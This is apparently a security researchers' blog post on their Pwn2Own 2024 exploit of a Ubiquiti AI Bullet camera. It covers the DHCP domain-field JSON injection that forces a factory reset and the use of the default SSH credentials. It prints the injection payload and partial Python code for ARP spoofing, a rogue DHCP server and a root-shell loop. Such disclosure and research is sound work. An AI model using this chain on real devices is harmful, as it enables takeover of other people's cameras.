Introduction
As you may know, Compass Security participated in the 2023 edition of the Pwn2Own contest in Toronto and was able to successfully compromise the Synology BC500 camera using a remote code execution vulnerability. If you missed this, head over to the blog post here https://blog.compass-security.com/2024/03/pwn2own-toronto-2023-part-1-how-it-all-started/
Unfortunately, the same vulnerability was also identified by other researchers, resulting in a so-called collision. So naturally, we wanted to participate again in 2024, hoping to find a unique exploit in one of the available targets.
As Trend Micro had closed their office in Toronto, the 2024 edition would take place in Cork, Ireland. This time all participants must be on-site which we were looking forward to, having had lots of interesting discussions with the on-site teams the previous year. https://www.zerodayinitiative.com/blog/2024/7/16/announcing-pwn2own-ireland-2024
Target Selection
While in 2023 the Compass employees taking part in Pwn2Own pooled their company provided research time and focused on a single device, in the 2024 edition we approached the event by looking at multiple available targets. This included the Lorex 2K indoor Wi-Fi security camera, the Ubiquiti AI Bullet surveillance camera, the AeoTec Smart Home Hub, as well as the Synology BeeStation BST150-4T.
While we have identified (and reported to their vendors) multiple vulnerabilities in these products, the available time only allowed us to find one unauthenticated remote code execution vulnerability in the Ubiquiti AI Bullet camera running firmware version 4.72.38.
In the following we will describe how we analyzed the Ubiquiti AI Bullet, present the vulnerability we found and show how to exploit it.
Device Overview
The Ubiquiti AI Bullet camera features a heavy metal enclosure. On the back, an ethernet port that is also used to power the camera via PoE is exposed.
As with some other devices, our first action was to try to open the device to have a look at the components. We wanted to look at the CPU, the memory and most importantly see if there were UART or other debugging ports exposed. This could hopefully help us to gain access to the firmware and get a shell on the device for easier debugging. Eager to explore, we forcefully pried the camera open – only to realize afterwards that there was an easier, intended way to do it.

While it was interesting to have a look at the inner workings, we did not immediately notice a debugging port. So we decided to power up the camera and have a look at what services are exposed. At that moment we realized that the Ubiquiti AI Bullet exposes SSH. After a quick Google search, we learned that many Ubiquiti devices provide shell access with default credentials (ubnt:ubnt
). This allows us to gain shell access to extract the firmware and also have a debugging environment. Another reason to think twice before trying to force open the next device we will examine.
Attack Surface
Using netstat, we see that lighthttpd
is listening on ports 80 and 443. Furthermore, dropbear
is used as SSHserver and finally there is infctld
that is listening on UDP port 10001.
UVC AI Bullet-4.72.38# netstat -tulpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN 1056/lighttpd
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 1056/lighttpd
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 1065/dropbear
udp 0 0 0.0.0.0:10001 0.0.0.0:* 1199/infctld
The web interface requires authentication for most actions. While we found some inconsistent behaviors, they couldn’t be leveraged for unauthenticated compromise.
Finally, the camera uses DHCP to obtain an IP address, meaning DHCP responses are an additional attack surface. This is the route we finally decided to go down and exploit.
Unauthenticated Remote Code Execution
This chapter describes how we abused a missing input validation vulnerability to gain unauthenticated remote code execution (RCE) on the Ubiquiti AI Bullet camera.
Root Cause
When a new DHCPv4 message is received, the /bin/udhcpc
binary processes it by parsing and analyzing the incoming message. This binary then creates several environment variables for each value extracted from the received message and executes the script referenced inside the -s
option:
# ps | grep udhcp
1192 ui 3136 S /bin/udhcpc --retries 9 -f -x hostname:uvc-ai-bullet -i eth0 -S -s /bin/udhcpc_cb.sh -v
The content of the /bin/udhcpc_cb.sh
script is shown below. This script does not perform any validation on the environment values received from udhcp
; instead, the domain (and other) variables are used to create a JSON message that is sent via IPC by the /bin/ubnt_ipc_cli
binary in the final line:
#!/bin/sh
[...CUT...]
/bin/ubnt_ipc_cli -z -b -m="{\"functionName\":\"DhcpEvent\", \"reason\": \"$1\", \"interface\": \"$interface\", \"ip\": \"$ip\", \"subnet\": \"$subnet\", \"broadcast\": \"$broadcast\", \"router\": \"$router\", \"dns\": \"$dns\", \"domain\": \"$domain\", \"hostname\": \"$hostname\", \"serverid\": \"$serverid\", \"lease\": $lease, \"pid\": $$}"
The flags used in the call to /bin/ubnt_ipc_cli
are the following:
-z
: If specified, no logging will be performed.-b
: Will broadcast the message to all available IPC-enabled processes. Keep this in mind, as it will be important later.-m
: The message to be sent. Must be specified inline with all the UNIX style constraints for a command-line parameter (e.g. escaping characters).
Since the script above does not validate any field from the DHCP message. This could allow us to escape the predefined JSON structure. In theory, we could send our payload in any of the variables present in the JSON message sent by the /bin/ubnt_ipc_cli
binary. However, since these values are extracted from the incoming DHCP message, they must comply with the DHCP standard, which may impose strict validations on certain fields (e.g., IP addresses, subnet values, etc.). We decided to target the domain
DHCP field because it is simply a string and can contain any value.
Using this, the idea is to break the JSON structure and insert additional JSON values into the message being sent. For example, if the domain value is set to csnc1234","aaa":"bbb
, it would inject a new JSON key called aaa
with the value bbb
into the message:
/bin/ubnt_ipc_cli -z -b -m="{\"functionName\":\"DhcpEvent\", \"reason\": \"something\", \"interface\": \"something\", \"ip\": \"something\", \"subnet\": \"something\", \"broadcast\": \"something\", \"router\": \"something\", \"dns\": \"something\", \"domain\": \"csnc1234\", "aaa":"bbb", "hostname": "something", "serverid": "something", "lease": something, "pid": something}"
The unescaped JSON message shows the injected aaa
JSON key. This allows altering the content of the JSON message being sent to all the IPC-enabled processes:
{
"functionName": "DhcpEvent",
"reason": "something",
"interface": "something",
"ip": "something",
"subnet": "something",
"broadcast": "something",
"router": "something",
"dns": "something",
"domain": "csnc1234",
"aaa": "bbb",
"hostname": "something",
"serverid": "something",
"lease": "something",
"pid": "something"
}
After some reversing, we did not find any JSON keys we could inject that would be interesting for us. But we noticed that if the same JSON key is present multiple times, only the latest one is processed. Thus, we started to investigate if we can somehow abuse one of the existing JSON keys.
For example, we could try to inject a second functionName
key. In the following example, myNewFunctionName
would be processed instead of DhcpEvent
, because it is defined later:
{
"functionName": "DhcpEvent",
"reason": "something",
"interface": "something",
"ip": "something",
"subnet": "something",
"broadcast": "something",
"router": "something",
"dns": "something",
"domain": "something",
"functionName": "myNewFunctionName",
"hostname": "something",
"serverid": "something",
"lease": "something",
"pid": "something"
}
Recall that, as mentioned earlier, due to the -b
flag in the /bin/ubnt_ipc_cli
command, the JSON message will be broadcasted to all IPC-enabled processes.
The next step was to figure out all available values for the functionName
key. The results showed that multiple functionName
values were being utilized by different scripts to perform various actions, and several binaries also contained the hardcoded string functionName
.
# grep -ri "functionName"
ath6kl_recover.sh:/bin/ubnt_ipc_cli -z -T=ubnt_ctlserver -m="{\"functionName\":\"SaveToFlash\"}"
bcmdhd_recover.sh:/bin/ubnt_ipc_cli -z -T=ubnt_ctlserver -m="{\"functionName\":\"SaveToFlash\"}"
doorbell_log_util: MCU_VER=$(ubnt_ipc_cli -T=ubnt_mcu_agent -r=1 -s -x='response/payload' -m='{"functionName":"GetMCUVersion"}' | grep fwVersion | sed 's/.$//' | awk '{print $2}')
doorbell_mcu_control: ipc_cli '{"functionName":"Passthrough","data":[0x81,0x01,0x04,0xFE,0x45,0xFF]}'
[...CUT...]
fwupdate: ubnt_ipc_cli -T=ubnt_avclient -t=2000 -z -m="{\"functionName\":\"ChangeAvclientEventSettings\", \"eventDisconnectedEnable\": false}"
fwupdate: ubnt_ipc_cli -T=ubnt_avclient -t=2000 -z -m="{\"functionName\":\"ChangeAvclientEventSettings\", \"eventDisconnectedEnable\": true}"
support: ipc_cli -T=ubnt_ispserver -m="{\"functionName\":\"DumpIsp3AInfo\"}"
support:pidof ubnt_reportd && ipc_cli -T=ubnt_reportd -m="{\"functionName\":\"DumpNetworkStats\",\"filePath\":\"$dipc/network-stats.txt\"}"
support:pidof ubnt_networkd && ipc_cli -T=ubnt_networkd -m='{"functionName":"NetworkStatus"}' -F=$dipc/networkd.txt
support:pidof ubnt_streamer && ipc_cli -T=ubnt_streamer -m='{"functionName":"GetVideoSettings"}' -F=$dipc/streamer.txt
support:pidof ubnt_avclient && ipc_cli -T=ubnt_avclient -m='{"functionName":"GetAvclientState"}' -F=$dipc/avclient.txt
support:pidof ubnt_ctlserver && ipc_cli -T=ubnt_ctlserver -m='{"functionName":"GetSystemStats"}' -F=$dipc/ctlserver.txt
support:pidof ubnt_ispserver && ipc_cli -T=ubnt_ispserver -m='{"functionName":"GetIspSettings"}' -F=$dipc/ispserver.txt
support:pidof ubnt_analytics && ipc_cli -T=ubnt_analytics -m='{"functionName":"ChangeAnalyticsSettings"}' -F=$dipc/analytics.txt
support:pidof ubnt_smart_detect && ipc_cli -T=ubnt_smart_detect -m='{"functionName":"ChangeSmartDetectSettings"}' -F=$dipc/smartdetect.txt
support:pidof ubnt_smart_motion && ipc_cli -T=ubnt_smart_motion -m='{"functionName":"ChangeSmartMotionSettings"}' -F=$dipc/smartmotion.txt
[CUT BY COMPASS]
ubnt_analytics:functionName
ubnt_audio_events:functionName
ubnt_avclient:functionName
ubnt_cgi:functionName
ubnt_cmd_persist.sh:/bin/ubnt_ipc_cli -z -T=ubnt_ctlserver -m="{\"functionName\":\"SaveToFlash\"}"
ubnt_cmd_reload_avclient.sh:/bin/ubnt_ipc_cli -z -f=ubnt_avclient -T=ubnt_avclient -m="{\"functionName\":\"SoftRestart\"}"
ubnt_ctlserver:functionName
ubnt_ipc_cli:functionName
ubnt_ispserver:functionName
ubnt_lcm_gui:functionName
ubnt_networkd:functionName
ubnt_nvr:functionName
ubnt_osd:functionName
ubnt_reportd:functionName
ubnt_reportd:ubnt_ipc_cli -T=ubnt_mcu_agent -z -x=response/payload/voltage -r=1 -t=3000 -m='{"functionName":"GetACVoltage"}'
ubnt_smart_detect:functionName
ubnt_smart_motion:functionName
ubnt_sounds_leds:functionName
ubnt_streamer:functionName
ubnt_system_cfg:functionName
ubnt_talkback:functionName
ubnt_watchdog:functionName
[...CUT...]
Each functionName
shown in the previous output has its own unique JSON structure. This will not be an issue though as we can break the JSON structure of the message, adding new keys and thus adjusting it to match any target function.
After analyzing the binaries listed above, we discovered that the ubnt_cgi
binary looked promising. For example, it handles actions like ChangeUsernamePassword
. But this requires the old password, which we unfortunately don't have. However, we came across the ResetToDefaults
action, which looked very promising.
ubnt_cgi
functionName
GetAvclientState
ScanAP
TestAndApplyNetworkSettings
ChangeNetworkSettings
Adopt
ResetIspSettings
StopService
StartService
ChangeUsernamePassword
ChangeDeviceSettings
NetworkStatus
ChangeNvrSettings
ChangeOsdSetting
ResetToDefaults
We reversed the code responsible for handling the ResetToDefaults
action and discovered that the JSON message needed to trigger it was:
{
"functionName":"ResetToDefaults"
}
So, we immediately decided to conduct a test to verify whether we could successfully trigger the ResetToDefaults
function. To achieve this, we modified the domain field returned by our DHCP server to the following value:
csnc1234\",\"functionName\":\"ResetToDefaults
This payload modifies the JSON message sent to all IPC-enabled processes as shown below:
{
"functionName": "DhcpEvent",
"reason": "something",
"interface": "something",
"ip": "something",
"subnet": "something",
"broadcast": "something",
"router": "something",
"dns": "something",
"domain": "csnc1234",
"functionName": "ResetToDefaults",
"hostname": "something",
"serverid": "something",
"lease": "something",
"pid": "something"
}
We waited until the camera sent a new DHCP request message to the DHCP server and shortly after we observed that the camera rebooted. We tried accessing the SSH service using our credentials, but it didn’t work. Then we tried again using the default credentials, and it was successful. We tested this multiple times to confirm it wasn’t a fluke, and it worked every time. Thus, we found a way to remotely reset the camera and subsequently access it using the exposed SSH service and default credentials. All that was left to do was to automate the process by crafting an exploit.
Exploit
The next challenge we faced was figuring out how to trigger this exploit remotely without having access to the DHCP server and without altering the camera’s settings, to be in line with the Pwn2Own rules. After some internal discussion, we came up with the idea of creating a small rogue DHCP server to answer the camera's DHCP requests, sending the payload in the domain field of the response to trigger the exploit. However, since the camera would always contact the configured DHCP server, we also decided to create an ARP spoofing script to poison the camera's ARP cache and hopefully redirect the DHCP requests to our rogue DHCP server.
The setup looked as follows:

ARP Spoofing
The Python implementation of the ARP spoofing server is as follows:
# Create the ARP packet
arp_response = ARP(op=2, # ARP reply
psrc=DHCP_SERVER_IP,
hwsrc=MY_MAC,
pdst=TARGET_IP,
hwdst=TARGET_MAC)
ether = Ether(dst=TARGET_MAC) / arp_response
try:
while RUNNING:
sendp(ether, verbose=False, iface=INTERFACE)
except KeyboardInterrupt:
print("ARP spoofing stopped.")
sys.exit(0)
print("ARP spoofing stopped.")
This code is straightforward and continuously sends fake ARP (Address Resolution Protocol) messages into the local network to poison the camera’s ARP cache. There are four key variables:
DHCP_SERVER_IP
: The IP address of the legitimate DHCP server to spoof.MY_MAC: The MAC
address of the device running the rogue DHCP server (in our case, our laptop).TARGET_IP
: The IP address of the camera.TARGET_MAC
: The MAC address of the camera, which will receive the ARP message.
DHCP Rogue Server
The Python implementation of the rogue DHCP server is as follows:
client_ip = packet[IP].src # Source IP address from the request
client_mac = packet[BOOTP].chaddr # Client MAC address
client_mac_str = ':'.join(f'{b:02x}' for b in client_mac) # Convert to MAC address string format
trx_id = packet[BOOTP].xid
# Determine the domain name to return
if client_ip == TARGET_IP:
response_domain = 'csnc1234","functionName":"ResetToDefaults'
print(f"Client IP: {client_ip}, Client MAC: {':'.join('%02x' % b for b in client_mac[:6])}, TransactionID: {trx_id}")
# Prepare DHCPACK packet
dhcp_ack = (Ether(src=MY_MAC, dst=client_mac_str) /
IP(src=DHCP_SERVER_IP, dst=client_ip) /
UDP(sport=67, dport=68) /
BOOTP(op=2,
htype=1,
hlen=6,
xid=trx_id,
yiaddr=DHCP_SERVER_IP
siaddr=DHCP_SERVER_IP
chaddr=client_mac)
DHCP(options=[
("message-type", "ack"),
("server_id", DHCP_SERVER_IP),
("lease_time", DHCP_LEASE_TIME),
("domain", response_domain),
"end"
]))
# Send the DHCPOFFER packet
sendp(dhcp_ack, iface=INTERFACE, verbose=True)
print(f"Sent DHCPACK to {client_ip} with domain {response_domain}")
if client_ip == TARGET_IP:
RUNNING = False
print("RUNNING is: ", RUNNING)
The server is designed to answer only requests received from the camera's IP address, preventing it from affecting other devices on the network. For each DHCPREQUEST
received, the server sends a DHCPACK
response that includes the payload in the domain
DHCP option.
Since we are impersonating the legitimate DHCP server, the source IP address of the DHCP response must match the real DHCP server's IP address. This is why the src
parameter in the IP
function within the script is set to DHCP_SERVER_IP
.
Once the DHCP response containing the payload is sent to the camera, the RUNNING
variable is set to False
, stopping both the rogue DHCP server and the ARP spoofing process. This step is crucial to prevent the camera from entering an infinite boot loop, constantly resetting its settings to the default ones.
SSH Connections
After the DHCP message is sent, the exploit waits for 15 seconds before repeatedly attempting to establish a connection to the camera's exposed SSH service using the default credentials (ubnt:ubnt
). It continues this process until the connection is successful. Once SSH access is granted, the exploit triggers the camera's LEDs and uploads the required files to launch a web server, which serves a Compass Security-branded webpage.
print("Starting shell...")
while True:
try:
io = ssh(host=TARGET_IP, user="ubnt", password="ubnt", ignore_config=True)
print(io.run("id").recvall().decode('utf-8'))
io.shell('/bin/sh').sendline(b"source /usr/lib/ubnt_utils.sh; set_hw_issue_led_status 1>/dev/null; set_fwupdate_led_status 1>/dev/null")
get_compass_server(io)
io.interactive()
except Exception as e:
print(f"Retrying", e)
time.sleep(5)
continue
With everything prepared, we registered for Pwn2Own Cork and started to prepare for the journey.
Pwn2Own Cork Experience
On Monday morning we were scheduled to fly to Dublin. Shortly after passing through security at the airport, we received a notification that a new beta firmware version of our target device had been released. Since ZDI had not released what versions were being used in the competition at the time, we were concerned that our vulnerability might have been patched in this beta release and that it would be the version of the device we would be targeting in Cork. Still at the airport, at the gates, we downloaded the latest beta firmware, unpacked it and quickly analyzed its contents. The script in the firmware that was critical to our exploit was still there, unchanged. Nothing relevant for our exploit seemed to have changed. Our colleagues in the office would test the exploit against the camera with the latest firmware, and we boarded the plane. Arriving in Dublin, we learned in an email from ZDI that the beta version of the firmware would not be used in the contest. Our target will have the exact same firmware that we tested our exploit against multiple times back in the office. Relieved, we boarded a bus to Cork. The drawing of the contestants was broadcast while we were still on the bus. With an unreliable internet connection and several interruptions, we watched the stream on YouTube. We were drawn fourth out of six contestants. Our hopes of not having a collision shrunk. In the evening, we finally arrived in Cork.
Our attempt was scheduled for Wednesday afternoon. We came to the TrendMicro offices on Tuesday anyway to register, gather some swag, and familiarize ourselves with the competition area. Watching other teams pwning their devices is interesting at first but considering that you cannot see any details of the exploit as a spectator, it loses some appeal after a while. However, the food and drinks and the company of the world's best researchers still make it an amazing experience. In the evening, a social event was planned in one of Cork's pubs. Obviously, we joined.
On Wednesday, we arrived at the TrendMicro office two hours before our scheduled attempt for a stout tasting. After enjoying the beer, snacks, other participants' attempts, and watching fragments of projected hacker movies, it was finally time for our attempt. After setting up the target machine, all we were allowed to do was ping it to verify that we could reach it on a network level, and then we had to unplug the ethernet cable until we were allowed to start our attempt. Once we were ready to go, the ten-minute timer started and we were able to plug the cable into our machine. After a few seconds, the camera asked our machine for a new DHCP lease, shortly after that we got a root shell on it, and the camera lights blinked in the pattern we defined.
After the attempt, we went to the disclosure room to discuss the details of what we had done. It quickly became clear that our exploit was already known to ZDI. They were able to show us another team's write-up that was almost identical to ours. Second time at pwn2own and unfortunately second collision. In the evening another social event was planned in another pub in Cork. Obviously, we joined.
On Thursday the last social event took place in an old prison in Cork. Obviously, we joined it as well. During this event the Master of Pwn was announced and awarded. Congratulations again to the Viettel team. On Friday we flew back to Zurich, satisfied that our exploit worked and happy to meet and share stories with some of the world's best researchers in person.
Leave a Reply